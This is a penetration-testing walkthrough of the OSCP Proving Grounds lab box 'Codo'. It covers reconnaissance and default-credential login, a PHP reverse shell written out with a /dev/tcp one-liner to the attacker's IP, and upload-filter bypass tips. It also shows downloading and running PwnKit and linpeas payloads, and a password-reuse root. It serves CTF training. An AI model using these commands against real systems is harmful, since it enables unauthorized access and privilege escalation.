Codo – OSCP Proving Grounds
ToxSec | Codo Solution: An OSCP challenge with a web-based foothold.
0x00 Hacking Codo
This walkthrough shows a clean path from default credentials to a file-upload reverse shell, then privilege escalation via password reuse (with PwnKit / CVE-2021-4034 as an alternate route). If you’re studying for CTFs or sharpening penetration testing skills, you’ll see exactly how “boring” misconfigs turn into initial access, code execution, and root, with commands you can reproduce end-to-end.
Codo is a case study in why fundamentals never die. There’s no exotic exploit chain here, just:
Default credentials opening the admin panel.
Weak file upload validation letting a reverse shell slip through.
Password reuse handing over root.
The box gives you options, too: you could weaponize a known vuln like PwnKit (CVE-2021-4034), or take the cleaner route with stolen creds. Either way, the lesson is the same: boring flaws, when stacked, are deadly.
Environment (for clarity):
Attacker:
192.168.50.155Target:
192.168.204.23Scope: Lab/CTF only. Do not test systems without explicit permission.
Sidebar: Default Creds Are Everywhere
Checking foradmin:adminfeels almost silly, until it works. In CTFs it’s common, but don’t assume it’s unrealistic. Takeaway: Always test default creds before you overthink. It costs nothing and sometimes buys you the entire foothold.
0x01 Initial Enumeration
Port Scan
Standard sweep to see the surface:
nmap -sC -sV --open 192.168.204.23
Results:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
SSH was there but useless without creds. That meant pivoting to web.
Web Brute Force
Launched Gobuster:
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
Findings:
/admin – login panel
/uploads – 403 Forbidden
/css – static assets/admin gave a login form. /uploads denied access, but the 403 told me it existed—likely tied to file management or upload features.
First Foothold
Tried the laziest creds on /admin:
admin : admin
And it worked. Logged straight in.
Sidebar: Why 403 is a Lead
When brute-forcing web directories, a 403 Forbidden is almost as good as 200 OK. It means the directory is real but restricted (upload repos like/uploads, admin-only dirs like/admin/config/, debug endpoints locked behind auth). It can also be IP/role gated. Takeaway: Always log 403s and revisit after authentication; they’re often the prize waiting behind the gate.
0x02 File Upload and Reverse Shell
With panel access (thanks to admin:admin), I started clicking around. The Global Settings menu exposed a logo uploader. That was the entry point. Testing showed extension-only validation (not content). Even without a perfect PoC, the symptoms were enough to proceed: extension checks without proper server-side MIME/handler enforcement.
Reverse Shell Prep
Listener:
nc -lvnp 4444
Minimal PHP wrapper (server executes this; it invokes a Bash one-liner):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.155/4444 0>&1'"); ?>
Save as shell.php.
Sidebar: If the app filters
.php, try alternates mapped to PHP (e.g.,.phtml,.php5) or a double extension (shell.php.jpg) if the server/handler mapping is sloppy. Polyglots can work when magic-byte checks are weak, but here the issue was extension trust.
Upload + Trigger
Upload the file through the panel. Then browse directly to it (path will vary by app, but discovery pointed to /uploads/):
http://192.168.204.23/uploads/shell.php
Netcat caught the connection:
connect to [192.168.50.155] from (UNKNOWN) [192.168.204.23] 4444
www-data@codo:/var/www/html$
Foothold secured as www-data.
Stabilize the shell (recommended):
python3 -c 'import pty,os; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 50 cols 200
Sidebar: Weaponizing Uploaders
Upload features are everywhere—profile pictures, logos, CVs, attachments—and are one of the most abused vectors in web apps.
Takeaway: Any time you see an uploader, treat it as high-value. It’s one of the cleanest ways to go from web → code execution.
0x03 Codo Privesc: Multiple Paths to Root
With a foothold as www-data, it was time to go hunting.
SUID Check
find / -perm -4000 -type f 2>/dev/null
Results included:
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/su
That pkexec stood out—version check confirmed it was 0.105, vulnerable to PwnKit (CVE-2021-4034):
pkexec --version
Normally, this is game over. But the machine didn’t have a compiler installed, which makes dropping a compiled exploit trickier.
PwnKit without a compiler (option)
Several PoCs don’t need local compilation: you can drop a precompiled payload or use a GCONV_PATH-based technique that loads a crafted .so. If gcc/clang are missing, serve the artifacts from your box and pull them down:
# Attacker:
python3 -m http.server 8000
# Target:
curl -O http://192.168.50.155:8000/pwnkit_payload # or wget if available
# run according to PoC instructions (env vars / GCONV_PATH / shared object)
LinPEAS Recon
# Attacker:
python3 -m http.server 8000
# Target (fallbacks included):
curl -O http://192.168.50.155:8000/linpeas.sh || wget http://192.168.50.155:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Among the noise, it flagged hardcoded credentials for a user named offsec.
Tried them:
su offsec
Success. Now I had an interactive shell as offsec. At this point, if SSH is allowed for offsec, consider switching to SSH for a cleaner, more reliable session.
Password Reuse
The real kicker? The same credentials worked for root:
su root
Logged straight in. Root flag captured.
Sidebar: Password Reuse as Priv-Esc
Finding creds is only half the battle. The next step should always be: where else do these work?
In real-world environments, password reuse is rampant.
In CTFs, this pattern is deliberate—it teaches lateral moves and privilege pivots. In the wild, it’s the same story: lazy password hygiene turns one leaked secret into domain-wide compromise.
Hunter takeaway: Anytime you uncover a credential, test it everywhere—other users, root, databases, web panels. It’s one of the fastest privilege escalation vectors you’ll ever find.
0x04 Debrief
Codo is a fundamentals-first box that proves you don’t need advanced exploits to win. The chain was straightforward:
Default creds unlocked the admin panel.
File upload misconfig dropped us a shell.
Privilege escalation had options:
Exploit
pkexecvia PwnKit (CVE-2021-4034), orFaster and cleaner: reuse discovered creds for root.
The key lesson: attackers thrive on small, predictable mistakes. Default creds, weak upload validation, and password reuse are all “boring” flaws—until they’re stacked into full compromise.
0x05 Command Recap
# Recon
nmap -sC -sV --open 192.168.204.23
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# Foothold
# 1) Login to /admin with admin:admin
# 2) Upload PHP reverse shell via logo uploader
nc -lvnp 4444
# Minimal PHP wrapper (upload as shell.php)
# <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.155/4444 0>&1'"); ?>
# Shell stabilization (recommended)
python3 -c 'import pty,os; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 50 cols 200
# Priv-Esc Options
find / -perm -4000 -type f 2>/dev/null
pkexec --version
# Serve tools from attacker box if needed
python3 -m http.server 8000
curl -O http://192.168.50.155:8000/linpeas.sh || wget http://192.168.50.155:8000/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
su offsec
su root
# Proof
# Many platforms: /root/proof.txt or /root/root.txt
cat /root/proof.txt || cat /root/root.txt






